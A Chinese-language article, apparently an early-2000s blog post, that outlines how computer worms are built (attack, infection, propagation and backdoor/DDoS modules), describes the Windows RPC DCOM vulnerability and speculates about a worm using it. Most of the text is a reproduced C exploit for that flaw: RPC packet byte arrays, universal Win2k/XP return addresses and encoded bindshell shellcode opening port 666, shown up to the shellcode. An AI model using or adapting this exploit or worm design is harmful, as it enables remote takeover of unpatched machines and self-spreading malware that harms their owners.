最近好象幾乎每一個(gè)大的漏洞公布出來(lái)，接著都會(huì)有一個(gè)針對(duì)這個(gè)漏洞的蠕蟲(chóng)(worm) 流行，最近鬧得很兇的 RPC DCOM 漏洞估計(jì)也即將成為 worm 的新傳播載體。好象寫(xiě) worm 是一個(gè)熱門(mén)，很多人也覺(jué)得好奇，覺(jué)得 worm 是很深的一種技術(shù)，其實(shí)這個(gè)是很簡(jiǎn)單的編程游戲而已。我一直有個(gè)想法就是想寫(xiě)一篇關(guān)于 worm 的技術(shù)分析(---為了不教壞小孩子:)，只是一直懶得提筆，本人對(duì)蠕蟲(chóng)的編寫(xiě)已經(jīng)失去了興趣，現(xiàn)在在新的 worm 風(fēng)暴即將到來(lái)之前，我這里很簡(jiǎn)單分析一下蠕蟲(chóng)的相關(guān)技術(shù)，并對(duì) RPC DCOM 蠕蟲(chóng)進(jìn)行一些設(shè)想。大家當(dāng)我是助“紂”為虐也好，故意賣(mài)弄也好，我覺(jué)得還是要寫(xiě)這篇文章，一年多沒(méi)寫(xiě)過(guò)文章了，同時(shí)也了卻了自己的一個(gè)心愿。你現(xiàn)在可以選擇不繼續(xù)往下看，但看完后不要對(duì)我吐口水。:) 


一 什么叫蠕蟲(chóng) 

首先從 spark 的 《Internet蠕蟲(chóng)的定義和歷史》文章中摘抄歡喂賾趙orm的解釋: 蠕蟲(chóng)這個(gè)生物學(xué)名詞在1982年由Xerox PARC 的John F. Shoch等人最早引入計(jì)算機(jī)領(lǐng)域[30]，并給出了計(jì)算機(jī)蠕蟲(chóng)的兩個(gè)最基本特征："可以從一臺(tái)計(jì)算機(jī)移動(dòng)到另一臺(tái)計(jì)算機(jī)"和"可以自我復(fù)制"。他們編寫(xiě)蠕蟲(chóng)的目的是做分布式計(jì)算的模型試驗(yàn)，在他們的文章中，蠕蟲(chóng)的破壞性和不易控制已經(jīng)初露端倪。1988年Morris蠕蟲(chóng)爆發(fā)后，Eugene H. Spafford 為了區(qū)分蠕蟲(chóng)和病毒，給出了蠕蟲(chóng)的技術(shù)角度的定義，"計(jì)算機(jī)蠕蟲(chóng)可以獨(dú)立運(yùn)行，并能把自身的一個(gè)包含所有功能的版本傳播到另外的計(jì)算機(jī)上。" （worm is a program that can run by itself and can propagate a fully working version of itself to other machines. ）。 

由于這里不是向大家介紹蠕蟲(chóng)的定義和歷史就不多說(shuō)了，大家如果對(duì)這些感興趣，可以到這里讀 spark 的文章http://www.nsfocus.net/index.php?act=magazine&;;do=view&mid=1851 

二 蠕蟲(chóng)的組成部分 

一個(gè)蠕蟲(chóng)的組成其實(shí)很簡(jiǎn)單，由于我不是在這里教你們寫(xiě)蠕蟲(chóng)，也由于時(shí)間限制，我這里只簡(jiǎn)單的說(shuō)一些。 
我們可以把它看做一個(gè)工程，我們把這個(gè)工程分成 4 個(gè)模塊: 

1. 攻擊模塊 
首先得需要有一個(gè)大量系統(tǒng)受影響的能被簡(jiǎn)單利用的嚴(yán)重漏洞，以便能夠遠(yuǎn)程控制機(jī)器。比如猜測(cè)薄弱口令啊，遠(yuǎn)程溢出啊等。 

2. 感染模塊 
考慮怎么讓對(duì)方被攻擊后，執(zhí)行你想要實(shí)現(xiàn)的功能，完成對(duì)一個(gè)主機(jī)的感染。對(duì)遠(yuǎn)程溢出來(lái)說(shuō)也就是完善shellcode了。這中間得考慮一個(gè)感染傳播(繁殖)途徑的問(wèn)題。 

3. 傳播模塊 
比如，掃描一個(gè)網(wǎng)段有相關(guān)弱點(diǎn)的機(jī)器，存成一個(gè)文件，然后對(duì)這些IP進(jìn)行攻擊，或者隨機(jī)生成IP然后對(duì)這些IP進(jìn)行攻擊等。 
簡(jiǎn)單的說(shuō)就是掃描薄弱的機(jī)器。 

4. 功能模塊 
　 功能模塊其實(shí)是一個(gè)可要可不要的模塊，但如果你想對(duì)方感染蠕蟲(chóng)后還在對(duì)方加上后門(mén)/DDoS等其他功能時(shí)，就必須得要有這個(gè)啦。 

　　其實(shí)，一個(gè)蠕蟲(chóng)成功的關(guān)鍵是一個(gè)攻擊模塊和感染模塊。:) 


三 常見(jiàn)的蠕蟲(chóng)的傳播(繁殖)途經(jīng) 


具體就不深入了, 只簡(jiǎn)單列舉一下: 

1. email 

2. ftp 

3. http 

4. netbios 

5. tftp 

　 6. rcp 

7. 其他 


四 RPC DCOM 漏洞介紹 

RPC DCOM 漏洞是最近出的一個(gè)Windows系統(tǒng)的嚴(yán)重漏洞，也是有史以來(lái)最嚴(yán)重影響最廣泛的Windows漏洞。 

Remote Procedure Call (RPC)是運(yùn)用于Windows操作系統(tǒng)上的一種協(xié)議。RPC提供相互處理通信機(jī)制，允許運(yùn)行該程序的計(jì)算機(jī)在一個(gè)遠(yuǎn)程系統(tǒng)上執(zhí)行代碼。RPC協(xié)議本身源于OSF (Open Software Foundation) RPC協(xié)議，后來(lái)又另外增加了一些Microsoft專(zhuān)用擴(kuò)展功能。RPC中處理TCP/IP信息交換的模塊由于錯(cuò)誤的處理畸形信息，遠(yuǎn)程攻擊者可利用此缺陷以本地系統(tǒng)權(quán)限在系統(tǒng)上執(zhí)行任意指令。該缺陷影響使用RPC的DCOM接口，此接口處理由客戶端機(jī)器發(fā)送給服務(wù)器的DCOM對(duì)象激活請(qǐng)求(如UNC路徑)。攻擊者成功利用此缺陷可以以本地系統(tǒng)權(quán)限執(zhí)行任意指令。攻擊者可以在系統(tǒng)上執(zhí)行任意操作，如安裝程序、查看或更改、刪除數(shù)據(jù)或建立系統(tǒng)管理員權(quán)限的帳戶。 
這個(gè)漏洞影響如下Windows版本： 
Microsoft Windows XP SP1a 
Microsoft Windows XP SP1 
Microsoft Windows XP 
Microsoft Windows NT 4.0SP6a 
Microsoft Windows NT 4.0SP6 
Microsoft Windows NT 4.0SP5 
Microsoft Windows NT 4.0SP4 
Microsoft Windows NT 4.0SP3 
Microsoft Windows NT 4.0SP2 
Microsoft Windows NT 4.0SP1 
Microsoft Windows NT 4.0 
Microsoft Windows 2003 
Microsoft Windows 2000SP4 
Microsoft Windows 2000SP3 
Microsoft Windows 2000SP2 
Microsoft Windows 2000SP1 
Microsoft Windows 2000 

可以看到, 此漏洞影響除了WinME以下版本的Windows系統(tǒng)之外的所有其他Windows系統(tǒng)。同時(shí)，此漏洞能夠被攻擊者遠(yuǎn)程利用， 
在沒(méi)有修補(bǔ)該漏洞的機(jī)器上可以遠(yuǎn)程執(zhí)行任意代碼，導(dǎo)致攻擊者能夠完全控制有漏洞的機(jī)器。 


五 RPC DCOM 蠕蟲(chóng)的設(shè)想 

1. 由于RPC COM已經(jīng)有攻擊未打補(bǔ)丁的Win2000/WinXP的通用攻擊代碼發(fā)布出來(lái)，因此該漏洞更有可能被利用制作成為能夠感染具有RPC DCOM漏洞的Win2000/WinXP機(jī)器的蠕蟲(chóng)。 

如PacketStorm上公布的這個(gè)對(duì)Win2000和WinXP通用的Exploit: 


/* Windows 2003 <= remote RPC DCOM exploit 
* Coded by .:[oc192.us]:. Security 
* 
* Features: 
* 
* -d destination host to attack. 
* 
* -p for port selection as exploit works on ports other than 135(139,445,539 etc) 
* 
* -r for using a custom return address. 
* 
* -t to select target type (Offset) , this includes universal offsets for - 
* win2k and winXP (Regardless of service pack) 
* 
* -l to select bindshell port on remote machine (Default: 666) 
* 
* - Shellcode has been modified to call ExitThread, rather than ExitProcess, thus 
* preventing crash of RPC service on remote machine. 
* 
* This is provided as proof-of-concept code only for educational 
* purposes and testing by authorized individuals with permission to 
* do so. 
*/ 

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

/* xfocus start */ 
unsigned char bindstr[]={ 
0x05,0x00,0x0B,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x7F,0x00,0x00,0x00, 
0xD0,0x16,0xD0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x01,0x00, 
0xa0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00, 
0x04,0x5D,0x88,0x8A,0xEB,0x1C,0xC9,0x11,0x9F,0xE8,0x08,0x00, 
0x2B,0x10,0x48,0x60,0x02,0x00,0x00,0x00}; 

unsigned char request1[]={ 
0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0xE8,0x03 
,0x00,0x00,0xE5,0x00,0x00,0x00,0xD0,0x03,0x00,0x00,0x01,0x00,0x04,0x00,0x05,0x00 
,0x06,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x32,0x24,0x58,0xFD,0xCC,0x45 
,0x64,0x49,0xB0,0x70,0xDD,0xAE,0x74,0x2C,0x96,0xD2,0x60,0x5E,0x0D,0x00,0x01,0x00 
,0x00,0x00,0x00,0x00,0x00,0x00,0x70,0x5E,0x0D,0x00,0x02,0x00,0x00,0x00,0x7C,0x5E 
,0x0D,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x80,0x96,0xF1,0xF1,0x2A,0x4D 
,0xCE,0x11,0xA6,0x6A,0x00,0x20,0xAF,0x6E,0x72,0xF4,0x0C,0x00,0x00,0x00,0x4D,0x41 
,0x52,0x42,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00 
,0x00,0x00,0xA8,0xF4,0x0B,0x00,0x60,0x03,0x00,0x00,0x60,0x03,0x00,0x00,0x4D,0x45 
,0x4F,0x57,0x04,0x00,0x00,0x00,0xA2,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00 
,0x00,0x00,0x00,0x00,0x00,0x46,0x38,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00 
,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,0x30,0x03,0x00,0x00,0x28,0x03 
,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0xC8,0x00 
,0x00,0x00,0x4D,0x45,0x4F,0x57,0x28,0x03,0x00,0x00,0xD8,0x00,0x00,0x00,0x00,0x00 
,0x00,0x00,0x02,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xC4,0x28,0xCD,0x00,0x64,0x29 
,0xCD,0x00,0x00,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0xB9,0x01,0x00,0x00,0x00,0x00 
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAB,0x01,0x00,0x00,0x00,0x00 
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA5,0x01,0x00,0x00,0x00,0x00 
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA6,0x01,0x00,0x00,0x00,0x00 
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA4,0x01,0x00,0x00,0x00,0x00 
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAD,0x01,0x00,0x00,0x00,0x00 
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAA,0x01,0x00,0x00,0x00,0x00 
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x07,0x00,0x00,0x00,0x60,0x00 
,0x00,0x00,0x58,0x00,0x00,0x00,0x90,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x20,0x00 
,0x00,0x00,0x78,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10 
,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x50,0x00,0x00,0x00,0x4F,0xB6,0x88,0x20,0xFF,0xFF 
,0xFF,0xFF,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10 
,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x48,0x00,0x00,0x00,0x07,0x00,0x66,0x00,0x06,0x09 
,0x02,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x10,0x00 
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00 
,0x00,0x00,0x78,0x19,0x0C,0x00,0x58,0x00,0x00,0x00,0x05,0x00,0x06,0x00,0x01,0x00 
,0x00,0x00,0x70,0xD8,0x98,0x93,0x98,0x4F,0xD2,0x11,0xA9,0x3D,0xBE,0x57,0xB2,0x00 
,0x00,0x00,0x32,0x00,0x31,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x80,0x00 
,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 
,0x00,0x00,0x00,0x00,0x00,0x00,0x18,0x43,0x14,0x00,0x00,0x00,0x00,0x00,0x60,0x00 
,0x00,0x00,0x60,0x00,0x00,0x00,0x4D,0x45,0x4F,0x57,0x04,0x00,0x00,0x00,0xC0,0x01 
,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x3B,0x03 
,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00 
,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x01,0x00,0x81,0xC5,0x17,0x03,0x80,0x0E 
,0xE9,0x4A,0x99,0x99,0xF1,0x8A,0x50,0x6F,0x7A,0x85,0x02,0x00,0x00,0x00,0x00,0x00 
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 
,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x30,0x00 
,0x00,0x00,0x78,0x00,0x6E,0x00,0x00,0x00,0x00,0x00,0xD8,0xDA,0x0D,0x00,0x00,0x00 
,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x2F,0x0C,0x00,0x00,0x00,0x00,0x00,0x00,0x00 
,0x00,0x00,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x03,0x00,0x00,0x00,0x46,0x00 
,0x58,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x10,0x00 
,0x00,0x00,0x30,0x00,0x2E,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 
,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x68,0x00 
,0x00,0x00,0x0E,0x00,0xFF,0xFF,0x68,0x8B,0x0B,0x00,0x02,0x00,0x00,0x00,0x00,0x00 
,0x00,0x00,0x00,0x00,0x00,0x00}; 

unsigned char request2[]={ 
0x20,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x00 
,0x00,0x00,0x5C,0x00,0x5C,0x00}; 

unsigned char request3[]={ 
0x5C,0x00 
,0x43,0x00,0x24,0x00,0x5C,0x00,0x31,0x00,0x32,0x00,0x33,0x00,0x34,0x00,0x35,0x00 
,0x36,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00 
,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00 
,0x2E,0x00,0x64,0x00,0x6F,0x00,0x63,0x00,0x00,0x00}; 
/* end xfocus */ 

int type=0; 
struct 
{ 
char *os; 
u_long ret; 
} 
targets[] = 
{ 
{ "[Win2k-Universal]", 0x0018759F }, 
{ "[WinXP-Universal]", 0x0100139d }, 
}, v; 


void usage(char *prog) 
{ 
int i; 
printf("RPC DCOM exploit coded by .:[oc192.us]:. Security\n"); 
printf("Usage:\n\n"); 
printf("%s -d [options]\n", prog); 
printf("Options:\n"); 
printf(" -d: Hostname to attack [Required]\n"); 
printf(" -t: Type [Default: 0]\n"); 
printf(" -r: Return address [Default: Selected from target]\n"); 
printf(" -p: Attack port [Default: 135]\n"); 
printf(" -l: Bindshell port [Default: 666]\n\n"); 
printf("Types:\n"); 
for(i = 0; i < sizeof(targets)/sizeof(v); i++) 
printf(" %d [0x%.8x]: %s\n", i, targets[i].ret, targets[i].os); 
exit(0); 
} 

unsigned char sc[]= 
"\x46\x00\x58\x00\x4E\x00\x42\x00\x46\x00\x58\x00" 
"\x46\x00\x58\x00\x4E\x00\x42\x00\x46\x00\x58\x00\x46\x00\x58\x00" 
"\x46\x00\x58\x00\x46\x00\x58\x00" 

"\xff\xff\xff\xff" /* return address */ 

"\xcc\xe0\xfd\x7f" /* primary thread data block */ 
"\xcc\xe0\xfd\x7f" /* primary thread data block */ 

/* bindshell no RPC crash, defineable spawn port */ 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\xeb\x19\x5e\x31\xc9\x81\xe9\x89\xff" 
"\xff\xff\x81\x36\x80\xbf\x32\x94\x81\xee\xfc\xff\xff\xff\xe2\xf2" 
"\xeb\x05\xe8\xe2\xff\xff\xff\x03\x53\x06\x1f\x74\x57\x75\x95\x80" 
"\xbf\xbb\x92\x7f\x89\x5a\x1a\xce\xb1\xde\x7c\xe1\xbe\x32\x94\x09" 
"\xf9\x3a\x6b\xb6\xd7\x9f\x4d\x85\x71\xda\xc6\x81\xbf\x32\x1d\xc6" 
"\xb3\x5a\xf8\xec\xbf\x32\xfc\xb3\x8d\x1c\xf0\xe8\xc8\x41\xa6\xdf" 
"\xeb\xcd\xc2\x88\x36\x74\x90\x7f\x89\x5a\xe6\x7e\x0c\x24\x7c\xad" 
"\xbe\x32\x94\x09\xf9\x22\x6b\xb6\xd7\xdd\x5a\x60\xdf\xda\x8a\x81" 
"\xbf\x32\x1d\xc6\xab\xcd\xe2\x84\xd7\xf9\x79\x7c\x84\xda\x9a\x81" 
"\xbf\x32\x1d\xc6\xa7\xcd\xe2\x84\xd7\xeb\x9d\x75\x12\xda\x6a\x80" 
"\xbf\x32\x1d\xc6\xa3\xcd\xe2\x84\xd7\x96\x8e\xf0\x78\xda\x7a\x80" 
"\xbf\x32\x1d\xc6\x9f\xcd\xe2\x84\xd7\x96\x39\xae\x56\xda\x4a\x80" 
"\xbf\x32\x1d\xc6\x9b\xcd\xe2\x84\xd7\xd7\xdd\x06\xf6\xda\x5a\x80" 
"\xbf\x32\x1d\xc6\x97\xcd\xe2\x84\xd7\xd5\xed\x46\xc6\xda\x2a\x80" 
"\xbf\x32\x1d\xc6\x93\x01\x6b\x01\x53\xa2\x95\x80\xbf\x66\xfc\x81" 
"\xbe\x32\x94\x7f\xe9\x2a\xc4\xd0\xef\x62\xd4\xd0\xff\x62\x6b\xd6" 
"\xa3\xb9\x4c\xd7\xe8\x5a\x96\x80\xae\x6e\x1f\x4c\xd5\x24\xc5\xd3" 
"\x40\x64\xb4\xd7\xec\xcd\xc2\xa4\xe8\x63\xc7\x7f\xe9\x1a\x1f\x50" 
"\xd7\x57\xec\xe5\xbf\x5a\xf7\xed\xdb\x1c\x1d\xe6\x8f\xb1\x78\xd4" 
"\x32\x0e\xb0\xb3\x7f\x01\x5d\x03\x7e\x27\x3f\x62\x42\xf4\xd0\xa4" 
"\xaf\x76\x6a\xc4\x9b\x0f\x1d\xd4\x9b\x7a\x1d\xd4\x9b\x7e\x1d\xd4" 
"\x9b\x62\x19\xc4\x9b\x22\xc0\xd0\xee\x63\xc5\xea\xbe\x63\xc5\x7f" 
"\xc9\x02\xc5\x7f\xe9\x22\x1f\x4c\xd5\xcd\x6b\xb1\x40\x64\x98\x0b" 
"\x77\x65\x6b\xd6\x93\xcd\xc2\x94\xea\x64\xf0\x21\x8f\x32\x94\x80" 
"\x3a\xf2\xec\x8c\x34\x72\x98\x0b\xcf\x2e\x39\x0b\xd7\x3a\x7f\x89" 
"\x34\x72\xa0\x0b\x17\x8a\x94\x80\xbf\xb9\x51\xde\xe2\xf0\x90\x80" 
"\xec\x67\xc2\xd7\x34\x5e\xb0\x98\x34\x77\xa8\x0b\xeb\x37\xec\x83" 
"\x6a\xb9\xde\x98\x34\x68\xb4\x83\x62\xd1\xa6\xc9\x34\x06\x1f\x83" 
"\x4a\x01\x6b\x7c\x8c\xf2\x38\xba\x7b\x46\x93\x41\x70\x3f\x97\x78" 
"\x54\xc0\xaf\xfc\x9b\x26\xe1\x61\x34\x68\xb0\x83\x62\x54\x1f\x8c" 
"\xf4\xb9\xce\x9c\xbc\xef\x1f\x84\x34\x31\x51\x6b\xbd\x01\x54\x0b" 
"\x6a\x6d\xca\xdd\xe4\xf0\x90\x80\x2f\xa2\x04"; 

最新評(píng)論